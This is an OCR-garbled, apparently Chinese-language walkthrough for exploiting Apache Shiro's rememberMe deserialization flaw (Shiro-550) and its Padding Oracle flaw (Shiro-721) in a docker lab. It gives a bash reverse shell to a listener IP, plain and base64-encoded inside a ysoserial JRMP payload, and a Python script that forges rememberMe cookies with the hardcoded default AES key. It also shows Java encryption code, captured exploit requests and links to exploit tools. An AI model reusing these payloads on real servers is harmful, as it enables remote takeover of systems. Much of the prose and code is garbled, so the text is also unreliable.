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1. Shiro rememberMeRF5{LiEiRA ( Shiro-550 )

1.1 iRRE

Apache ShirofEZE2 Mt TiSFZEA9T0EE ( RememberMe ) , BFERBINESEMEITINZEFH RIS cookie, 7
fRSSumxdrememberMeficookield , fthasebAEIBSAISAESIREBRFIK , MBS T RFYIUCRCERIE.

BB , PayloadF=4AUIDEE :
=5 =>AESIIZ=>base644gFE=>RememberMe Cookie{&

EBNREFBAIRET | WWREENRAESINERIER | IRKEESEANZRIMAMRE ZHANEZEH
T PayloadtiEiEktB R+ AIREE,

1.2 E2MahRZA : Apache Shiro < 1.2.4

1.3 $FEFIRR - IREIEFEErememberMe=deleteMe=ER,
1.4 iR

IMEERE


af://n0
af://n40

$kEldockeriE(®
docker pull medicean/vulapps:s_shiro_1

BErfidockeri& :
docker run -d -p 8080:8080 medicean/vulapps:s_shiro_1

THEHES

1. mavenfic&

sudo wget https://mirrors.tuna.tsinghua.edu.cn/apache/maven/maven-3/3.6.3/binaries/apache-
maven-3.6.3-bin.tar.gz

tar -zxvf apache-maven-3.6.3-bin.tar.gz

sudo mv apache-maven-3.6.3 /usr/Tocal/maven3

1£/etc/profilekEiFNImavenifiEZice

export M2_HOME=/usr/local/maven3
export PATH=$PATH:$JAVA_HOME/bin:$M2_HOME/bin

source /etc/profile

2. T&EysoserialFi1€

git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -D skipTests

4R T BEEysoserial/target3{4eh,

1. MERBFEIIARkey,
XEBFAIER— Shiro_exploit , 3kEikey

GithubI Bt : https://github.com/insightglacier/Shiro exploit

python shiro_exploit.py -u http://192.168.172.129:8080

i d done

BT IREERTkey , BRAUREFRLSIVERM | Ri#shel MBI,


https://github.com/insightglacier/Shiro_exploit

mEREAR— : Ki#shell
1. #ER5Eshel XA
WIS

nc -Tvp 1234

Java Runtime Eg& bash 4&f3 |

TELLSRASHBAL « http://www.jackson-t.ca/runtime-exec-payloads.html

bash -i >& /dev/tcp/192.168.172.133/1234 0>&1

bash -c {echo,YmFzaCAtaSA+JiAvZGV2 L3Rj CC8XOTIuMTY4Lj E3Mi4xMzMVMTIZNCAWPiYx} | {base64,-d} |
{bash,-1i}

2, i@idysoserialfRMPEIITIELR | E5lfr6666imFHITREshellan<.

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.JRMPListener 6666
commonsCollections4 'bash -c
{echo, YmFzaCAtaSA+JiAvZGV2L3RjcC8XOTIUMTY4LJE3Mi4xMzMVMTIZNCAWPiYx} | {base64,-d} | {bash,-i}"'

3. fMshiro.py &FRfPayload

python shiro.py 192.168.172.133:6666

shiro.pyfCRBEIT :

import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def encode_rememberme (command) :
popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.6-SNAPSHOT-all.jar"',
'JRMPClient', command], stdout=subprocess.PIPE)
BS = AES.block_size
pad Tambda s: s + ((BS - Ten(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deziIxcaaaA==")
iv = uuid.uuid4() .bytes
encryptor = AES.new(key, AES.MODE_CBC, iV)
file_body = pad(popen.stdout.read())
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
return base64_ciphertext

if _name__ == '_main__":


http://www.jackson-t.ca/runtime-exec-payloads.html

payload = encode_rememberme(sys.argv[1l])
print "remembermMe={0}".format(payload.decode())

4, MEEHREE , fhiEcookie , &i%XPayload.

Raw | Params T Headers T Hex l Raw | Headers T Hex T HTML T Render W

POST Nogin jsp HTTPA 1 A HTTPA 1 200 OK A
Host: 192.168.172.129:8080 r Server: Apache-Coyotef 1
User-Agent: Mozilla/S.0 (Windows NT 10.0; WOWE4; rv:48.0) Gecko/20100101 Firefox/48.0 Set-Cookie: rememberMe=clelzteMe; Path=/, N Expires=Fri, 03-Jul-2020 05:20:00 GMT

Accept: texthtml application/xhtmk+xml application/xmi;q=0 Set-Cookie: rememberhe=deleteMe; Patl
Accept-Languags: zh-CH zhq=0 & en-US;q=0 5 em;q=0 3 ) Contert-Type: textitmicharset=IS0-6855-1
Accept-Encoding: gzip, deflate Cortert-Length: 2249

Referer: hitp:/f192 168 172 129:8080/0gin jsp Date: Sat, 04 Jul 2020 05:20:00 GMT
Cookie: Connection: close

JSESSIONID=24CBFE:
2pzCIROSiH 21mBMCEYaQI3ST bl feahi
UCHWEIwHIROS4im/u3nQ\/RgoEly BetmA
rimOIOrHPe nS2ROVUUGXCLW.
mi2BUIOZESDdw+apjUdpjlS2ovalX v
Connection: close
Upgrade-Insecure-Requests: 1
Cortent-Type: application/s-www-form-urlencoded

Expires=Fri, 03-Jul-2020 05:20:00 GMT

(e CNETUSUW D0HUCSK A Cg==|

/ JailKK d 1 SckDOIA bWy

Cortent-Length: 42 <htrl>
<head>

usermame=adminpassword=adminasubmit=Login <link type="texticss" rel="styleshest" hret="Jstyle css'
<head>

nclslfim , shellgIhzaE -

javamalriEl , BERSHERRE

nding return with
ing ction

EFARRT  BAXE
1. HEREpoc.serSf4

sudo java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutilsl "touch /tmp/success" >
poc.ser

2. {FEAShiroEENAZEAXTPayloadi#{TIN%:

javaifFis :



iJ] TestRemember.java &
o)

1 package
2

shiro;

3= import org.apache.shiro.crypto.AesCipherService;
import org.apache. shiro.codec.CodecSupport;
import org.apache.shire.util.ByteSource;

6 import org.apache.shiro.codec.Base64;

import java.nio.file.FileSystems;

import java.nio.file.Files;

import java.nic.file.Paths;

public class TestRemember [f

import org.apache.shire.ic.DefaultSerializer;

byte[] payloads = Files.readAllBytes(FileSystems.getDefault().getPath("d://poc.ser”));

AesCipherService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport. FoBytes("kPH+bIxkSD2deZilxcaaat=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.tostring());

1] Problems @ Javadoc [E) Declaration B Console 52

<terminated» TestRemember [Java Application] C:\Program Files\Java\jre1.8.0 25 T\bin\javaw.exe (2020-7-3 19:08:47 1
\WFBhfphz9bNk7R3k1bpgo/kpHfVIxDYQIYEHLmhLvg+cEs/aSiMoNtNYyAUndvwY/h

TS -

packag

import
import
import
import
import

import
import
import

e shiro;

org.apache.
org.apache.
org.apache.
org.apache.
org.apache.

shiro.
shiro.
shiro.

shiro
shiro

2
5
6
7
8
9
1e
11
12
13
125 public static void main(String[] args) throws Exception {
15
16
17
18
19
28
21
22

yGOeK ZNEbhZgGg L KkYMsXHCiLGIA4DODVYI

crypto.AesCiphersService;
codec.CodecSupport;
util.ByteSource;
.codec.Baseb4;
.io.DefaultSerializer;

java.nio.file.FileSystems;
java.nio.file.Files;
java.nio.file.Paths;

public class TestRemember {

public static void main(String[] args) throws Exception {

Files.readAl1Bytes(FileSystems.getDefault().getPath("d://poc.ser"));

byte[] payloads

AesCiphersService aes = new AesCipherService();
byte[] key = Base64.decode(CodecSupport.toBytes("kPH+bIxk5D2deziIxcaaaA=="));

ByteSource ciphertext = aes.encrypt(payloads, key);
System.out.printf(ciphertext.toString());

3. &ixrememberMe Cookie , Bl IHH TS,

= B [ Tesklist 32
=

= 8

SrlE%®|le/xBal4d 3§

® connect Mylyn

@

b

Connect to your task and ALM tools or create a local

task.
8= Qutline 52 e EERR e W
g shiro

v @, TestRemember
@ ® main(String[]) : void
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POST /doLogin HTTR/11
Host: 192.168.99.242:6060
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWEd; rv:48.0) Gecko/20100101 Firefox/46.0
Accept: text/html application/chtml-+xmi application/sml, ¢=0.9 */* =08

Accept-Language: zh-CN zh;q=0.8 en-US;q=0 5 en:q=0 3

Accept-Encoding: gzip, deflate

Referer: http://192. 168,99, 2428080 login jses sionid=75238 B15F 8331 6F 41 ABSFEDEBE740290
Cookie: JSESSIONID=752388 15F83316F 41 ABSFEDERE740290;
femermberMeRAUFBhishz9bNK7 R3k1bpqo/kp HVIXD Y QIVBHLMhLyg+cE s/
66GDRhsb Q3IPUSNhNeTki26hWhRGP S0V X Qx

U280 AMH+FERTWG3BMM e AQAWL2T
L T{f.hSGULyIOBMZ\E-E

YQCKRITWEWN7 r\EY&EDT‘\xG? R+ 2¢Td+05AN X442
bQ2SIXAHYiciSDoBV3L3 Y 3MHDAILE A zHK2CEIn LDk B2 Y1 SpOTBP Lt Qe VApS NEne
VE298 Y vy 2YNou Y DAP2MBckSaF FFaSNIKCaET] +myBSgnBipkdbwSi U OEKE T HRENOK2n0kN:20DF 258G OIYKE 1 UnWGaLF oF UL P4 AHR
PPAIR Y] @7 mim-+HnQuwP ZKFids TXmIPKOBK3NZVF syVOlls E2i<76 lhGTE QDS Wwewis-+DIpludVHMzmuq e Ta2-+msvps921US F 988 zkm ¢ QUZEMHWEPS|
Orzlaz2a+dLx W GAZNCpRE2XMI7 afsHUs a0 +o3F Pogiak Y Ejip Y SEXQEmAIRMY30gPKITING3 Y S b Y AVDUT fpSrmiZZOKNEC TesHdd TISF Y uSchSV ZGARMINGST ) Qpg3KPy dDICY avmunL 421V BmEAENG 4 SKHGQkvADALF 204
ppYVHVIK1 i TDGJlogGX8 Y yn7 ATs +qAM o} Y BEF VBijvi2MmbNPOjDEAE DehsAC3+0 KB4Ihu2iJE-+: ZGaqADHk  jrerzab OnoHWTSRT3VERAZIRBBHBawal QK lez1 GLAE /38 QQTznéWcVKTALonlgiB 16 p440DpCn5 28 5GLK +ACFOgDxHLGENHBIhy xEHula28 aNBLGH
20DEBT29yUTp7 BZaM2z2vbAgy7 CrBImPBbFuHNSkzaARDS d2nhAp9SOpOTKOb/CMUE g¥in/DhdugcbUcS hTTANG]30KyzLB1 HHACoSKOBHLOW/Ettk gnolt BpLZZV iS5 F GelGzaGy KnushEUODQ-+KTy hha CW/CaMPAIM/imL1 K2 TEarEJ0BgRY Y BNJx Xi52KAR2WAE SNZDASIV L6twY dbady
mHTHbAFZKKT /3 EELHOTIPMb AT Axn7 AquiMIG YW LhOY 1 +B8q0ZmMVWETWIRHF200P 526 a K-+ +HMGorshy p Hg3+ DG 00 wD00e8 1 KK QCXOHMO0aIXR4IdEAKAE QT4 gER OV IDI5 xS LIDa7 MtB-+i5gt +845B3jjqe YR/k YVZSUVASKT QemSS ¥ Toj Whd zAZQISINGMadS0/aHOMyBY OstIB25/LNKPAMACKVKS
Zonw/Ec2JQIBK-HNAO DiAzGtobVIsuPkskwpual/DAAYFiG3KKVerU2nMIkCVdHESi+88lqHI3Cxd + TXD irfaZakipG OVXE O1aqAVyZihd Y 2avoF 82ikh1 VndwdjelhonSsLLIV 1 uS1dG 2 2 SF B4 VkizBtjre ] Swa2PgPWTHXMBGLAdyPYWVTK
Axhndz VB HMTvo7KwFm302VWFwKPUZIRCxMnZDgBF mZIME07iPqUlog22! 5 CadF olUEAOIUBGLQUdzssTVMBKNuyhzgtGtOmpVZIK-+Y lgqu-th 296 <eDU3KAdihPF oydvsctiBMIS2jbLTs DhmiuyyAgsUgd/ZBPFInKILE}bF sa0jimZiJ
PNGG7 e KKIIMEXwAO2b/Np YK p/gtKTs T 0-+L Y LSF K3wRBtF1KE TrbOeq3d SILF VX DS Qi Ty kNAZ39IRGw B Al 1 DBSUTWB 5550164 Ep 7SI Wl 1as0kin/gS3+ Opwa 2036 Z0MEAOE P oc1323 254y 0V RSaSLINSVBIShvAG
SEBhIYnerteZ+HJcroFIRLR1PYTKFqIdL431 PgO C/e9jx 29KcaCCHaltySF gyl jARLwhoyiBo ZuBPIEC2 AJBPzeLbWGp Omz2RMOGPg0d4AUEWAVIRIAADIgeg
SHBADMEbHHy SizPOEAF Al R/ GERIZS7HChn WM gt 10Sseuu ZLKA G L ABOPdmubCCanTD /0y +L6H1 ZGNSAAKTFY euRM:R\/RHVSSHF‘:uJDIHIMVH! mﬁ

Sfz-+I+odWINKEATOSWE xAIhZTyi | RPwidTpvbNat d2g0KNONBDJSGBOZ5ININBLW/ Y U3 cal 20AVES soLKHz ACerT 27
yRANLgY+BRLOHETMENOBmjBEnjakT30Y XY 4uiWZz4 R ykJyLsOBnR ConlVa/xhOeK 1 nudYNbGts ayp172F BHIKK | AFiddwh
Connection: close

Upgrads-Insscure-Requests: 1

Content-Type: application/x-waw-form-urlencodsd

Content-Length: 29

owhtSjEhcnfoinl ”"E!II\HJ»«\\F\\/”ML#.’JMHIFEM'.,J:rThLXMF'.’F'X’e#WTWU
JEV+HVehH+H c’Jf\UH‘ ‘F‘WHI\'\'H\:,‘N'\\A\/W i MemZuVDx QkJXF thtZ2xy o NNXJ/UtQADIE 2 IDHK2/NUT | \'\FXH\G

2AMhnALUGY ¥
MJskEANRTDZtBPDIRg4loX9hZ
gna2VOiP1tzEECMmEugDUPa

a5 Y

7h3kBah' kRvSVAgNs

usemame=admin&password=admin

HEBRIRSES/tMpERT |, &Rlisuccess3i4.

tomcat.l2

Jucce

2, Shiro Padding Oracle Attack ( Shiro-721)

i[RI

HFApache Shiro cookiedhj@id AES-128-CBC &= Iz IrememberMe=ER{FE(GIR , FBFAN@idPadding
Oracle INZ4ARNBEABFREEERNrememberMeFE , HEIMEKMILL , HITRFFICKE  RERSHER
AT,

SMIARA : Apache Shiro < 1.4.2hR7K,
miRrIA

1. BERShiroiuh , McookiedFkiBrememberMe=ERHYE,

GET /samples-web-1.4.1/HTTP/1 1

Host: 192.168.172.133:8080

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOWE4; rv.48.0) Gecke/20100101 Firefox/48.0

Accept: textihtml applicationfxhtml+xml applicationfxml;g=0.9,**q=0.8

Accept-Language: zh-CM,zhg=0 8 en-US;q=0.5 en;q=0.3

Accept-Encoding: gzip, deflate

Referer: http: /M 92 168.172.133:8080/samples-web-1.4.1login jsp

Cookie: JSESSIONID=1c108200-cd31-4ch5-al10-he74952dal 47;

rememberMe=ZTeHaByeSY evzeMZxx1 ¥ ViD2WigsktmPO/RDgN3t Y aDSS1 ChJyjeEF xIPKJIZE Y auaddAdmuumodgRLxUTy Xs5dLgSyIvol
qD3JzRncyonCgDadgelx4/1 UrCDE1 2QwOUgwhbXhPchbbIMg26r 1 udiyN 'y mK0AB OJEfSGemriUWIHAM443t2zRH3miy 03V hFOn1 pTG Adkhdeiem:
‘BbK ly2bjSNBlcreCHQC pge 7 GUISHKINAWND 2eWFMBCrnN1 wwiT2dlVBChex Tzc ABv34eQ+NgAxV+eshu

Connection: close

Upgrade-Insecure-Reguests: 1

JRPBIZADAITI0M+kSp Y cyGo1 e7RAHDZSktxndHg Aewy AI7mjG+AuysMSEq3lrCms doktHewtUSQG+B 71 kiv'yzGelrdmX x ARchH3mgWO 7
Ms8PpzL ¥ p2UBKEr 7jFcL BhSorn+BHBE Y sET0SksNY v7SxTwilkdNyRv ZcDhWMOOEC4ULWS X mHwi+ De2Ebnch ASe

2. FIFIDNSlogiR , E@idysoserial TEpayload,

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsBeanutilsl "ping 75bbot.dnslog.cn" >
payload.class

3. {#HrememberMe{&{EAprefix , INEPayload , #{TPadding OracleIi,

githubI Bkt : https://github.com/longofo/PaddingOracleAttack-Shiro-721

(EdaE N



af://n101
https://github.com/longofo/PaddingOracleAttack-Shiro-721

java -jar PaddingoracleAttack.jar targetuUrl rememberMeCookie blockSize payloadFilePath

4. {FAEIERrememberMeEF TR EHTIHE RIS

Raw | Params THeadErs T Hex ]

Raw | Headers T Hex IHTML TREnder ]

GET /samples-web-1.4.1/HTTPM .1 'y
Host: 192168.172.133:8080 i
User-Agent: Mozilla/5.0 (Winclows NT 10.0; WOWES, rv:48.0) Gecko/20100101 Firefox/48.0
Accept: texthiml applicationixhtml+xml applicationixml,q=0.9,' =08
Accept-Language: zh-CN zh;g=0.8 en-US;q=0.5 eng=0.3
Accept-Encoding: deflate
Cookie: JSESSIONI 5h48-hc93-4e19-aeca-Safcdal
UGZP ZpERroayhess J0c vy
GpuLhpaz0jb* L1 sGW4SLcl
mycf7a0z9HIe T4HNILILOQUREN!
dSteH40Rec4gmeOR ONNCqe ABRGNh+CRx OWESMEpF Gx 7 DJOUPYOSCdhsg;
ITGWowBESZIg) F3iCtuBnHksCM2A0CEmLoJBBUOMdxOSx5zR1 oweiun+K
VINLD+fGeuBVjJohEdxPKgg  ZuMxt Ce3351
o1 Zjg: MM G3FCRAFNEpHzdHEP"
adnnQaZicdihwl+RShYEV QeoBLUAMHNLAFkmhgB1 Zx O

2Daspg:
{BoLxslaoviLrJOV
57mVbhGPxg
jyahlaihb;

v+ AxAID+Czak QEvaK g8
pCUATHITSRSHM
ciptdBEzaow alpw

Sjjx0TIsP/DScJRGSeE+CinsSoagy 2pE+L Y hPv2Ce3xQZSIiPLWU +s:
JIASx HNCH3hcbeghdsz40qallgoT Cjghy
PQdT3RRwWQEI2PAmMRaNh7Wsske ZfkQvw
FMthCVEURIGOkm A ZLQNKOEs Qi Hidmy doi

4IKIXGMSpLONCY
5404GGCETOEIIK
erS5pgpdm++LwED
Eja+GHPIPMZUL oXOtEBRLSER/EThEYFYV3q 3 ZbziBe31114TIP MQEVERUZoUp1 2SkE1 MR/GEpS4UR4b AT IQATDAMgALM AQMgSTHNLY
P SHDJE JBatqz sBIR KmDFjST a1 0JadNPs| ArO0dr OV q/DGEr sIBymymavsFLBpxHRPOtGSMATULSSCF boF elNRHJyUhCbBgS Vorn |
UPpJDRrSSASALayNTIg bldv3I0 W T+DNuGg
1 s+wim1AGY57uUBBQekpin2NOagldb+ OVIyD

FWEIpRK B0+
eDmr7DidiHosiS4!
NO+mxOz36hF O

4F 3+WUHT1JOBTC:

25 AkchTAODejQDtwWR!

v

JLeJLr ) 2] |Tpeasearch e 0 matches

5. REIhfiA&Payload , FTEDNSLogFkEXEIB4RIP,

HTTPA 1 200 OK

Server: Apache-Coyotel 1 |
Set-Cookie: rememberMe=deletele; Path=/samples-web-1.4.1; Max-Age=0; Expires=Fri, 03-Jul-2020 17:21:52 GMT

Set-Cookie: JSESSIONID=beBcbi95-Tes-423b-9582-75hddes 8615, Path=/samples-web-1.4.1; HipOnly

Corttert-Type: texthtml;char set=/S0-8859-1

Contert-Lenath: 1025

Date: Sat, 04 Jul 2020 17:21:52 GMT

Connection: close

<html>

<head>
<link type="text/css" rel="stylesheet" href="lsamples-web-1.4 1/style css"l>
<litle=Apache Shiro Quickstart<fitie=

<hheacl=

<h1=Apache Shiro Quickstart<hi=

Guest!

<a href="Jsamples-web-1 4.1 login jsp">Log in</s> (sample accounts provided) )

L2 ll=ll= e a search fe.

0 matche



Get SubDomain Refresh Record

75bbot.dnslog.cn

DNS Query Record IP Address Created Time
75bbot.dnslog.cn 218.4 1575 2020-07-05 01:21:52
75bbot.dnslog.cn 218.8 .152.147 2020-07-05 01:21:52
75bbot.dnslog.cn 218.8..157.5 2020-07-05 01:21:52
75bbot.dnslog.cn 218.0 .152.147 2020-07-05 01:21:52

3. —EEmtEEFIAIA
ShiroExploit : 3x#XdShiro-550 ( 4REZFLEE ) FOShiro-721 ( Padding Oracle ) B9—82{KAEN , STiSEIBEIRE,

GithubIT Bttt : https://github.com/feihong-cs/ShiroExploit

Shiro-550 , REHIAurl , BIeI=RBsaNFLRRERIR.

B Shiro5350/721RFEEN by KIg — O
EEERIREE Shiro550 - SxHttpiE®
fEiEKey#1Gadget

http://192.168.172.129:8080/]

T



af://n123
https://github.com/feihong-cs/ShiroExploit

Shiro-721 , FiAurl , ZH— 1B HIrememberMe Cookie , FHEEBINMEERFE

B Shiro550/721FEEN by g - O X
EETIER Shiro721 v BfREEES Linux - EHttpiE®
f8EKeyTlGadget

http://192.168.172.133:8080/samples-web-1.4.1/

rememberiMe=ZTeHalyeSYevzcMZxx1YVjD2WqsktmPO/RDgn3tYaD551 ChlyjeEFxIPKIZ6Ya /uad 9A4muumaofgRLxUTyXs5liLgSyhv
MNzZJRpBI3JADAITIOM +1kSpYxyGq1e7RAHDzkixndHgAewyAl7 mjG+AuysMSEq3IrCmsdoktHewtU0G + BT X 1kiVzGelrINmXxAR
cbH3mgWO074jM/0PFZZgD3/zRnecyonCgDalgdxd/1UrCDE12QwlUgwhbXhPchbbiMg2ariudiyNYmK0ABHIOJEFSGemrUJWIHAMA 4
3t2zRH3miy03YhFOn1pTGAdkMdeiem4Z/Z ctMsBPpzLY p2UGKEr 7 FcLohSorn+ BHBEYSET0SksN Vw7 SxTwOkdNyRvZ cDhWIMOOEc4U
LW5Xm ij|+ De2EbncbABelLYFkdX78bK/y2b/j5NBlcreCH/QCpqc7 GUISTKN/wNIX2eWFNtBCrnMNTwwiT2dIVBChexTzcABv3deQ+N
gAx\/ +eshu

—F

Shiro-721iwEFIA :
1. ERShirokiut , McookieFFk{SrememberMe=FERRYE.
2. @idysoserial R FFIERFIAIREEMHpayloadfEplaintext ;

java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollectionsl 'touch /tmp/test' >
payload.class

3. fFEArememberMelE{EAprefixi#{TPadding Oraclel{ds , IN&payloaddiplaintextfS8&lrememberMel{ =T
%O

GithubI Bttt : https://github.com/Geekby/shiro rce exp



https://github.com/Geekby/shiro_rce_exp

4. {FEREIERrememberMelltEF R EREH BRI, |

Raw | Params IHEﬂdErs T Hex ]

gTlgidecwPcH1mDFJZtMEEBC
e0BNSn 9T

TR |

Raw | Headers T Hex T HTML I Render 1

ZENIREERGTHIT,

GET fsamples-weh-1.4.1/HTTP/.1 A
Host: 192.168.172.133:8080 1
User-Agent: Mozila/5.0 (Windows NT 10.0; WOWE4; rv:48.0) Gecko/20100101 Firefox/48 .0
Accept: text/iml application/xhtmk+xml applicationfml =0 9 */* g=0 8
Accept-Language: zh-CN,zh;g=0.8 en-US;q=0.5 en,g=0.3
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=1c106200-cd31-4chS-al10-be74952dal47;
rememberhle=Sr3FrY Smz48Tz+kS ZQxUbvAoyECxkT ShEOKUZgvKAVAUBSTEWZhUIUS v wSSHL Zb54qe40REONGDBIDXIDZ33MCL:
257 yorDiuvzRzfosiveVjhSBlgcRGGRzEoalUGol7LDb1 Cn8pJizf xoyL SACX0ST2AfOwp'Y SulerUWM28 XhSh Y +Us50UQe 7 mirDf
¢mbvPilkMuF1 538/ VjoAs192PDv2bEfS+HIBxIL fAvREHWmY
OpUVBS |7 ovgB TS +-+ysIPCAHINGTY TWLET Txx
P1trwioHdJhBE5SPUT qorHUalpDRO biBch vOhoutK CWOLQOjKy JsGjBnMKT J98ZG2sG52R50!
vBeTKNIcCq41 VMQyz++qFtDCYSESkC fgPETF39eEY/B4s2ZLwrDOCB Y| Mis JiChan v ADnk2Sy 9w Q80w S x5
WFePOoQIAXCQIIMHNBG+E0SHAGIMNY DGsOVII7 J+ M2ri4HEICHxe fIP6e+ ALLUE Y GxvRHs11VCNf3SusHwy xEFD:
RGSvEIRBjOu3LsVWIoHEEEIQROBC ZpSfaPahukhrk ZeVKpG+1 HIIUBNPrMB4yt CTrOk¥lcLJC B wFy
ZZUBAMVy Iy, n87LodS0r6EEC+Y 2B AN 2rGma02gQiif M3SHY KpEhNOSITK3T JUSRp.
GAxCMREBwW4 iduM ZHKrKnmoxdSCiGUHjbgi1 oP28F z30HNgah7 s ZjHb Aw S0 Zuh+6pghbkb+USWikF QjiSbs JzBm+ 3MREOhM2r \'\DlmvEJl\\D
QNmLo93pDfls Yhv VaKcLBJi3KIcU1 vizC4shbe2WS1 Cojty ANJBrO9cHX C4pfGhble1 ZLckSS3MWIIC34X+D+ IV UNIGY
[E0OxL5s0+kqqT QDUE"!e’lM Uq‘i DyHl:O\ S0usTZ3 pSu‘v'Zngl:\Cfv‘vaEﬁ \\pﬂu VRPNGTA gidewPeHT mDFJZtikfBeD
HJZI Y oBexRTNAWDbZ YoptS3Yevt
nﬁwr'aeuaumel-RMp

LeB7BICHnd
IcUCIDT g+
FYZ865t
bylnHw ok

|fMDQ xjFEfHUMDxevS/GOeSwOz! CEUBIISHGUMU}JHG
pl-rHrvtaqutﬂghSPh .eUPbuocDD10u\hg3Fu

DeTkbOC
r2FghMs
*CRweOdhUk

562

Connection: close

Upgrade-Insecurs-Requests: 1 =]
0 matches

L2 =)= ] =] |Tveassarchterm

WE—MUTE

—E28M TR : ShiroScan
Shiro<=1.2.4KRFE71L , —BRNTE , aTLASTIH

A LABRIRIN IR T —Pestse,

i, (BFARLE

HTTPA .1 200 OK
Server. Apache-Coyotef .1
Set-Cookie: remember! e, ples-web-1.4.1; M:

Set-Cookie; JSESSIONID=19eeaZa’-

-dB45-4 f47-c4dc109c7903,

=0, Expires=Fri, 03-Jul-2020 13:32:09 GMT

Content-Type: texthtml;charset=IS0-8859-1
Content-Length: 1025

Date: Sat, 04 Jul 2020 13:32:08 GMT
Connection: close

<html>
<head=

<link type="text/css" rel="stylesheet" href="isamples-web-1.4 1/style css"f=

<title=Apache Shiro Quickstart<fitles
=head>
<body=

<h1>Apache Shiro Quickstart=/h1>

=p=Hi Guest!
[§

b-1.4.1; HttpOnly

<a href="Jsamples-web-1 4.1 login jsp">Log in</a> (sample accounts provided) )

L2 =)= ] =] |Tveeassarchem

GithubI Bttt : https://github.com/sv3nbeast/ShiroScan

A R R keyRYE.

0 matche


https://github.com/sv3nbeast/ShiroScan

MNERRLEMERANALRS L, WESARRIEHANARS —HEXKE

SEGEE
apache shiro javaR FFLIRIRB sEN

https://www.arno.site/?p=934

Apache Shiro I TIRASI

http://www.oniont.cn/index.php/archives/298.html

Apache Shiro Padding Oracle SEumf2 B TIRIETREE

https://www.anquanke.com/post/id/192819

T, BERSZRENEHENS.


https://www.arno.site/?p=934
http://www.oniont.cn/index.php/archives/298.html
https://www.anquanke.com/post/id/192819

MEREEZShiro Padding OraclejwilA

https://www.anquanke.com/post/id/203869#h3-4

vulhub=CiE

https://vulhub.org/#/environments/shiro/CVE-2016-4437/



https://www.anquanke.com/post/id/203869#h3-4
https://vulhub.org/#/environments/shiro/CVE-2016-4437/
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